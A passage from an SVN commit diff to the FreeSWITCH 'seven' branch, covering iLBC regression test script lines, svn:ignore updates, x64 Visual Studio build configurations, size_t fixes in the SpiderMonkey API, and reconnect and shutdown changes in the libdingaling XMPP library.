+diff iLBC_20ms.BIT ../localtests/iLBC_20ms.BIT
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 20ms clean failed!
+    #exit $RETVAL
+fi
+diff iLBC_20ms_clean.OUT ../localtests/iLBC_20ms_clean.OUT
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 20ms clean failed!
+    #exit $RETVAL
+fi
+echo ilbc_tests 20ms clean completed OK
+
+./ilbc_tests 20 ../localtests/iLBC.INP tmp.BIT iLBC_20ms_tlm05.OUT ../localtests/tlm05.chn >$STDOUT_DEST 2>$STDERR_DEST
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 20ms 5% loss failed!
+    exit $RETVAL
+fi
+diff iLBC_20ms_tlm05.OUT ../localtests/iLBC_20ms_tlm05.OUT
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 20ms clean failed!
+    #exit $RETVAL
+fi
+echo ilbc_tests 20ms 5% loss completed OK
+
+./ilbc_tests 30 ../localtests/iLBC.INP iLBC_30ms.BIT iLBC_30ms_clean.OUT ../localtests/clean.chn >$STDOUT_DEST 2>$STDERR_DEST
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 30ms clean failed!
+    exit $RETVAL
+fi
+diff iLBC_30ms.BIT ../localtests/iLBC_30ms.BIT
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 30ms clean failed!
+    #exit $RETVAL
+fi
+diff iLBC_30ms_clean.OUT ../localtests/iLBC_30ms_clean.OUT
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 30ms clean failed!
+    #exit $RETVAL
+fi
+echo ilbc_tests 30ms clean completed OK
+
+./ilbc_tests 30 ../localtests/iLBC.INP tmp.BIT iLBC_30ms_tlm05.OUT ../localtests/tlm05.chn >$STDOUT_DEST 2>$STDERR_DEST
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 30ms 5% loss failed!
+    exit $RETVAL
+fi
+diff iLBC_30ms_tlm05.OUT ../localtests/iLBC_30ms_tlm05.OUT
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 30ms clean failed!
+    #exit $RETVAL
+fi
+echo ilbc_tests 30ms 5% loss completed OK
+
+echo
+echo All regression tests successfully completed

Deleted: freeswitch/branches/seven/libs/ilbc/wrapper.xsl

Copied: freeswitch/branches/seven/libs/ilbc/wrapper.xsl (from rev 14471, freeswitch/trunk/libs/ilbc/wrapper.xsl) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/wrapper.xsl	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/wrapper.xsl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                version='1.0'>
+  <xsl:import href="http://docbook.sourceforge.net/release/xsl/current/xhtml/chunk.xsl"/>
+  <xsl:param name="html.stylesheet">css.css</xsl:param>
+</xsl:stylesheet>
\ No newline at end of file

Property changes: freeswitch/branches/seven/libs/js


Name: svn:ignore
   - config.h.in
configure
config.log
.complete
js-config.sh
config.h
jscpucfg
.libs
js
Makefile
config.status
libtool
js.pc
autom4te.cache
config.guess
ltmain.sh
config.sub
aclocal.m4
   + config.h.in
configure
config.log
.complete
js-config.sh
config.h
jscpucfg
.libs
js
Makefile
config.status
libtool
js.pc
autom4te.cache
config.guess
ltmain.sh
config.sub
aclocal.m4
install-sh
missing
configure.lineno

Property changes: freeswitch/branches/seven/libs/js/nsprpub


Name: svn:ignore
   - config.log
.complete
config.status
dist
config.cache
Makefile
autom4te.cache
configure
libtool
aclocal.m4
   + config.log
.complete
config.status
dist
config.cache
Makefile
autom4te.cache
configure
libtool
aclocal.m4
configure.lineno

Property changes: freeswitch/branches/seven/libs/js/nsprpub/build/autoconf


Name: svn:ignore
   - config.guess
ltmain.sh
config.sub
   + config.guess
ltmain.sh
config.sub
install-sh
missing

Deleted: freeswitch/branches/seven/libs/js/nsprpub/build/autoconf/install-sh

Modified: freeswitch/branches/seven/libs/js/nsprpub/configure.in (14471 => 14472)


--- freeswitch/branches/seven/libs/js/nsprpub/configure.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/js/nsprpub/configure.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1130,7 +1130,7 @@
     if test "$MOZ_OBJFORMAT" = "elf"; then
         DLL_SUFFIX=so
     else
-        DLL_SUFFIX=so.1.0
+        DLL_SUFFIX=so.1
     fi
     MKSHLIB='$(CC) $(DSO_LDOPTS) -o $@'
     DSO_CFLAGS=-fPIC
@@ -2208,6 +2208,7 @@
 dnl ========================================================
 AC_PROG_GCC_TRADITIONAL
 AC_PROG_LIBTOOL
+AC_PROG_INSTALL
 AC_CHECK_FUNCS(lchown strerror)
 
 dnl AC_FUNC_MEMCMP

Modified: freeswitch/branches/seven/libs/js/src/jsapi.c (14471 => 14472)


--- freeswitch/branches/seven/libs/js/src/jsapi.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/js/src/jsapi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4076,12 +4076,13 @@
 {
     jschar *chars;
     JSBool ok;
+	size_t slength = length;
 
     CHECK_REQUEST(cx);
-    chars = js_InflateString(cx, bytes, &length);
+    chars = js_InflateString(cx, bytes, &slength);
     if (!chars)
         return JS_FALSE;
-    ok = JS_EvaluateUCScript(cx, obj, chars, length, filename, lineno, rval);
+    ok = JS_EvaluateUCScript(cx, obj, chars, slength, filename, lineno, rval);
     JS_free(cx, chars);
     return ok;
 }
@@ -4095,12 +4096,13 @@
 {
     jschar *chars;
     JSBool ok;
+	size_t slength = length;
 
     CHECK_REQUEST(cx);
-    chars = js_InflateString(cx, bytes, &length);
+    chars = js_InflateString(cx, bytes, &slength);
     if (!chars)
         return JS_FALSE;
-    ok = JS_EvaluateUCScriptForPrincipals(cx, obj, principals, chars, length,
+    ok = JS_EvaluateUCScriptForPrincipals(cx, obj, principals, chars, slength,
                                           filename, lineno, rval);
     JS_free(cx, chars);
     return ok;
@@ -4572,12 +4574,13 @@
 #if JS_HAS_REGEXPS
     jschar *chars;
     JSObject *obj;
+	size_t slength = length;
 
     CHECK_REQUEST(cx);
-    chars = js_InflateString(cx, bytes, &length);
+    chars = js_InflateString(cx, bytes, &slength);
     if (!chars)
         return NULL;
-    obj = js_NewRegExpObject(cx, NULL, chars, length, flags);
+    obj = js_NewRegExpObject(cx, NULL, chars, slength, flags);
     JS_free(cx, chars);
     return obj;
 #else

Modified: freeswitch/branches/seven/libs/js/src/jsdbgapi.c (14471 => 14472)


--- freeswitch/branches/seven/libs/js/src/jsdbgapi.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/js/src/jsdbgapi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -939,11 +939,12 @@
 {
     jschar *chars;
     JSBool ok;
+	size_t slength = length;
 
-    chars = js_InflateString(cx, bytes, &length);
+    chars = js_InflateString(cx, bytes, &slength);
     if (!chars)
         return JS_FALSE;
-    ok = JS_EvaluateUCInStackFrame(cx, fp, chars, length, filename, lineno,
+    ok = JS_EvaluateUCInStackFrame(cx, fp, chars, slength, filename, lineno,
                                    rval);
     JS_free(cx, chars);
 

Property changes: freeswitch/branches/seven/libs/libdingaling


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
config.log
.complete
.libs
.deps
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
configure
Makefile.in
debug
   + Debug
Release
*.ncb
*.user
*.bak
config.log
.complete
.libs
.deps
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
configure
Makefile.in
debug
x64
configure.lineno

Modified: freeswitch/branches/seven/libs/libdingaling/AUTHORS (14471 => 14472)


--- freeswitch/branches/seven/libs/libdingaling/AUTHORS	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libdingaling/AUTHORS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,11 +1,11 @@
 The Initial Developer of the Original Code is
-Anthony Minessale II <anthmct@yahoo.com>
+Anthony Minessale II <anthm@freeswitch.org>
 Portions created by the Initial Developer are Copyright (C)
 the Initial Developer. All Rights Reserved.
 
 The PRIMARY AUTHORS are (and/or have been):
 
- Anthony Minessale II <anthmct@yahoo.com> - Primary developer of all core components
+ Anthony Minessale II <anthm@freeswitch.org> - Primary developer of all core components
  	and many of the included modules.  Much of freeswitch is based on his work.
  
  Michael Jerris <mike@jerris.com> - Windows porter and responsible for the 

Modified: freeswitch/branches/seven/libs/libdingaling/libdingaling.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/libdingaling/libdingaling.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libdingaling/libdingaling.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -290,6 +293,286 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\src;..\iksemel\include;..\include;..\apr\include;&quot;..\iksemel-1.2\include&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100;4706"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;.\src;..\iksemel\include;..\include;..\apr\include;&quot;..\iksemel-1.2\include&quot;"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug DLL|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\src;..\iksemel\include;..\include;..\apr\include;&quot;..\iksemel-1.2\include&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;APR_DECLARE_STATIC;APU_DECLARE_STATIC"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libapr-1.lib libaprutil-1.lib iksemel.lib Ws2_32.lib"
+				AdditionalLibraryDirectories="..\apr\Debug;..\apr-util\Debug;..\iksemel\Debug"
+				ModuleDefinitionFile=".\src\dingaling.def"
+				GenerateDebugInformation="true"
+				OptimizeReferences="1"
+				EnableCOMDATFolding="1"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release DLL|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;.\src;..\iksemel\include;..\include;..\apr\include;&quot;..\iksemel-1.2\include&quot;"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;APR_DECLARE_STATIC;APU_DECLARE_STATIC"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libapr-1.lib libaprutil-1.lib iksemel.lib Ws2_32.lib"
+				AdditionalLibraryDirectories="..\apr\Release;..\apr-util\Release;..\iksemel\Release"
+				ModuleDefinitionFile=".\src\dingaling.def"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/libdingaling/src/ldl_compat.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libdingaling/src/ldl_compat.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libdingaling/src/ldl_compat.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * libDingaLing XMPP Jingle Library
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is libDingaLing XMPP Jingle Library
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * ldl_compat.h -- Platform Compatability Header File
  *

Modified: freeswitch/branches/seven/libs/libdingaling/src/libdingaling.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libdingaling/src/libdingaling.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libdingaling/src/libdingaling.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * libDingaLing XMPP Jingle Library
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is libDingaLing XMPP Jingle Library
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * libdingaling.c -- Main Library Code
  *
@@ -144,6 +144,7 @@
 	void *private_info;
 	FILE *log_stream;
 	ldl_handle_state_t state;
+	int fail_count;
 };
 
 struct ldl_session {
@@ -389,6 +390,7 @@
 			if (!strcasecmp(type, "initiate") || !strcasecmp(type, "accept")) {
 
 				dl_signal = LDL_SIGNAL_INITIATE;
+
 				if (!strcasecmp(type, "accept")) {
 					msg = "accept";
 				}
@@ -1127,6 +1129,7 @@
 					}
 					globals.logger(DL_LOG_DEBUG, "XMPP authenticated\n");
 					ldl_set_flag_locked(handle, LDL_FLAG_AUTHORIZED);
+					handle->fail_count = 0;
 				}
 			} else {
 				globals.logger(DL_LOG_ERR, "LOGIN ERROR!\n");
@@ -1432,22 +1435,23 @@
 
 	ldl_set_flag_locked(handle, LDL_FLAG_QUEUE_RUNNING);
 
-	while (ldl_test_flag(handle, LDL_FLAG_RUNNING)) {
+	while (ldl_test_flag(handle, LDL_FLAG_RUNNING) && !ldl_test_flag(handle, LDL_FLAG_QUEUE_STOP)) {
 		ldl_flush_queue(handle, 0);
 
-		if (handle->loop_callback(handle) != LDL_STATUS_SUCCESS) {
+		if (handle->loop_callback(handle) != LDL_STATUS_SUCCESS || !ldl_test_flag((&globals), LDL_FLAG_READY)) {
 			int fd;
 
 			if ((fd = iks_fd(handle->parser)) > -1) {
 				shutdown(fd, 0x02);
 			}
-			ldl_clear_flag_locked(handle, LDL_FLAG_RUNNING);	
+			ldl_set_flag_locked(handle, LDL_FLAG_BREAK);	
 			break;
 		}
 		microsleep(100);
 	}
 	
 	ldl_clear_flag_locked(handle, LDL_FLAG_QUEUE_RUNNING);
+	ldl_clear_flag_locked(handle, LDL_FLAG_QUEUE_STOP);
 
 	return NULL;
 }
@@ -1467,9 +1471,10 @@
 
 static void xmpp_connect(ldl_handle_t *handle, char *jabber_id, char *pass)
 {
-	while (ldl_test_flag(handle, LDL_FLAG_RUNNING)) {
+	while (ldl_test_flag((&globals), LDL_FLAG_READY) && ldl_test_flag(handle, LDL_FLAG_RUNNING)) {
 		int e;
 		char tmp[512], *sl;
+		int fd;
 
 		handle->parser = iks_stream_new(ldl_test_flag(handle, LDL_FLAG_COMPONENT) ? IKS_NS_COMPONENT : IKS_NS_CLIENT,
 										handle,
@@ -1522,7 +1527,7 @@
 			launch_queue_thread(handle);
 		}
 
-		while (ldl_test_flag(handle, LDL_FLAG_RUNNING)) {
+		while (ldl_test_flag((&globals), LDL_FLAG_READY) && ldl_test_flag(handle, LDL_FLAG_RUNNING)) {
 			e = iks_recv(handle->parser, 1);
 			if (!ldl_test_flag(handle, LDL_FLAG_TLS) && handle->loop_callback) {
 				if (handle->loop_callback(handle) != LDL_STATUS_SUCCESS) {
@@ -1539,13 +1544,12 @@
 				break;
 			}
 
-			if (IKS_OK != e) {
-				globals.logger(DL_LOG_DEBUG, "io error 2 %d\n", e);
-				microsleep(1000);
+			if (IKS_OK != e || ldl_test_flag(handle, LDL_FLAG_BREAK)) {
+				globals.logger(DL_LOG_DEBUG, "io error 2 %d retry in %d second(s)\n", e, ++handle->fail_count);
+				microsleep(1000 * handle->fail_count);
 				goto fail;
 			}
 
-			
 			if (!ldl_test_flag(handle, LDL_FLAG_TLS) && ldl_test_flag(handle, LDL_FLAG_READY)) {
 				ldl_flush_queue(handle, 0);
 			}
@@ -1566,15 +1570,25 @@
 		}
 
 	fail:
-		iks_disconnect(handle->parser);
-		iks_parser_delete(handle->parser);
+		
+		ldl_set_flag_locked(handle, LDL_FLAG_QUEUE_STOP);
 		ldl_clear_flag_locked(handle, LDL_FLAG_CONNECTED);
 		ldl_clear_flag_locked(handle, LDL_FLAG_AUTHORIZED);
+		ldl_clear_flag_locked(handle, LDL_FLAG_BREAK);
 		handle->state = CS_NEW;
+		
+		if ((fd = iks_fd(handle->parser)) > -1) {
+			shutdown(fd, 0x02);
+		}
 
+		
+
 		while(ldl_test_flag(handle, LDL_FLAG_QUEUE_RUNNING)) {
 			microsleep(100);
 		}
+
+		iks_disconnect(handle->parser);
+		iks_parser_delete(handle->parser);
 	}
 	ldl_clear_flag_locked(handle, LDL_FLAG_RUNNING);
 	if (!ldl_test_flag(handle, LDL_FLAG_TLS)) {
@@ -1585,6 +1599,7 @@
 		microsleep(100);
 	}
 
+	ldl_set_flag_locked(handle, LDL_FLAG_STOPPED);
 
 }
 
@@ -2164,6 +2179,12 @@
 	}
 }
 
+ldl_status ldl_global_terminate(void)
+{
+	ldl_clear_flag_locked((&globals), LDL_FLAG_READY);
+	return LDL_STATUS_SUCCESS;
+}
+
 ldl_status ldl_global_init(int debug)
 {
 	if (ldl_test_flag((&globals), LDL_FLAG_INIT)) {
@@ -2189,6 +2210,7 @@
 	globals.logger = default_logger;
 	globals.avatar_hash = apr_hash_make(globals.memory_pool);
 	ldl_set_flag_locked((&globals), LDL_FLAG_INIT);
+	ldl_set_flag_locked((&globals), LDL_FLAG_READY);
 	
 	return LDL_STATUS_SUCCESS;
 }
@@ -2215,7 +2237,7 @@
 
 int8_t ldl_handle_ready(ldl_handle_t *handle)
 {
-	return (int8_t)ldl_test_flag(handle, LDL_FLAG_READY);
+	return (int8_t) (ldl_test_flag(handle, LDL_FLAG_READY) && ldl_test_flag((&globals), LDL_FLAG_READY));
 }
 
 ldl_status ldl_handle_init(ldl_handle_t **handle,
@@ -2309,20 +2331,48 @@
 
 void ldl_handle_run(ldl_handle_t *handle)
 {
+	ldl_clear_flag_locked(handle, LDL_FLAG_STOPPED);
 	ldl_set_flag_locked(handle, LDL_FLAG_RUNNING);
 	xmpp_connect(handle, handle->login, handle->password);
 	ldl_clear_flag_locked(handle, LDL_FLAG_RUNNING);
 }
 
+int ldl_handle_running(ldl_handle_t *handle)
+{
+	return ldl_test_flag(handle, LDL_FLAG_RUNNING) ? 1 : 0;
+}
+
+int ldl_handle_connected(ldl_handle_t *handle)
+{
+	return ldl_test_flag(handle, LDL_FLAG_CONNECTED) ? 1 : 0;
+}
+
+int ldl_handle_authorized(ldl_handle_t *handle)
+{
+	return ldl_test_flag(handle, LDL_FLAG_AUTHORIZED) ? 1 : 0;
+}
+
 void ldl_handle_stop(ldl_handle_t *handle)
 {
 	ldl_clear_flag_locked(handle, LDL_FLAG_RUNNING);
+	if (ldl_test_flag(handle, LDL_FLAG_TLS)) {
+		int fd;
+		if ((fd = iks_fd(handle->parser)) > -1) {
+			shutdown(fd, 0x02);
+		}
+	}
+	
+	while(!ldl_test_flag(handle, LDL_FLAG_STOPPED)) {
+		microsleep(100);
+	}
+
 }
 
 ldl_status ldl_handle_destroy(ldl_handle_t **handle)
 {
 	apr_pool_t *pool = (*handle)->pool;
 
+	ldl_handle_stop(*handle);
 	ldl_flush_queue(*handle, 1);
 	
 

Modified: freeswitch/branches/seven/libs/libdingaling/src/libdingaling.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libdingaling/src/libdingaling.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libdingaling/src/libdingaling.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * libDingaLing XMPP Jingle Library
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is libDingaLing XMPP Jingle Library
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * libdingaling.h -- Main Header File
  *
@@ -119,7 +119,10 @@
 	LDL_FLAG_AUTHORIZED = (1 << 2),
 	LDL_FLAG_READY = (1 << 3),
 	LDL_FLAG_CONNECTED = (1 << 4),
-	LDL_FLAG_QUEUE_RUNNING = (1 << 5)
+	LDL_FLAG_QUEUE_RUNNING = (1 << 5),
+	LDL_FLAG_STOPPED = (1 << 6),
+	LDL_FLAG_QUEUE_STOP = (1 << 7),
+	LDL_FLAG_BREAK = (1 << 8)
 } ldl_flag_t;
 
 typedef enum {
@@ -589,7 +592,11 @@
 */
 void ldl_handle_stop(ldl_handle_t *handle);
 
+int ldl_handle_running(ldl_handle_t *handle);
+int ldl_handle_connected(ldl_handle_t *handle);
+int ldl_handle_authorized(ldl_handle_t *handle);
 
+
 /*!
   \brief Destroy a libDingaLing handle
   \param handle the Dingaling handle to destroy
@@ -603,6 +610,9 @@
   \param log_stream the new log stream
 */
 void ldl_handle_set_log_stream(ldl_handle_t *handle, FILE *log_stream);
+
+ldl_status ldl_global_terminate(void);
+
 ///\}
 
 

Property changes: freeswitch/branches/seven/libs/libedit


Name: svn:ignore
   - configure
Makefile.in
config.log
depcomp
config.guess
config.h
ltmain.sh
config.sub
Makefile
libedit.pc
config.status
stamp-h1
libtool
missing
aclocal.m4
install-sh
config.h.in
   + configure
Makefile.in
config.log
depcomp
config.guess
config.h
ltmain.sh
config.sub
Makefile
libedit.pc
config.status
stamp-h1
libtool
missing
aclocal.m4
install-sh
config.h.in
autom4te.cache
configure.lineno

Copied: freeswitch/branches/seven/libs/libedit/CMakeLists.txt (from rev 14471, freeswitch/trunk/libs/libedit/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/libedit/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/libedit/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,19 @@
+cmake_minimum_required(VERSION 2.6)
+
+add_definition(-DSCCSID)
+add_definition(-DHAVE_CONFIG_H)
+add_definition(-DPIC)
+
+
+INCLUDE_DIRECTORIES(include/ ./ src/) 
+
+SET ( libedit_SRCS src/filecomplete.c src/key.c src/parse.h src/refresh.c src/sig.h src/tty.c src/el.c src/filecomplete.h src/key.h src/prompt.c src/refresh.h src/strlcat.c src/tty.h src/el.h src/hist.c src/prompt.h src/search.c src/strlcpy.c src/unvis.c src/chared.c src/el_term.h src/hist.h src/map.c src/read.c src/search.h src/sys.h src/vi.c src/chared.h src/emacs.c src/histedit.h src/map.h src/read.h src/term.c src/vis.c src/common.c src/fgetln.c src/history.c src/parse.c src/readline.c src/sig.c src/tokenizer.c src/vis.h)
+
